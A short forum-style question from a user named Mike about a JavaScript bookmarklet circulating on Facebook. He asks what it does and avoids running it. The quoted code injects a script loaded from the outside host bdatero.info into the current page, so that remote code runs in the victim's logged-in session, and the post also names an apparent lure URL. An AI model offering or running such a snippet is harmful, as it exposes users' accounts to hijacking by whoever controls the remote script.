There is a javascript code going arounf Facebook and I am curious as what it does they give an example but it didn't work. Also, I don't want to run any old code on this machine. Thank you, Mike

Code:
javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://bdatero.info/y.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();
I am not a coder but network guy all help is greatly appreciated.

Here is the URL: http://tadero.info/engl.php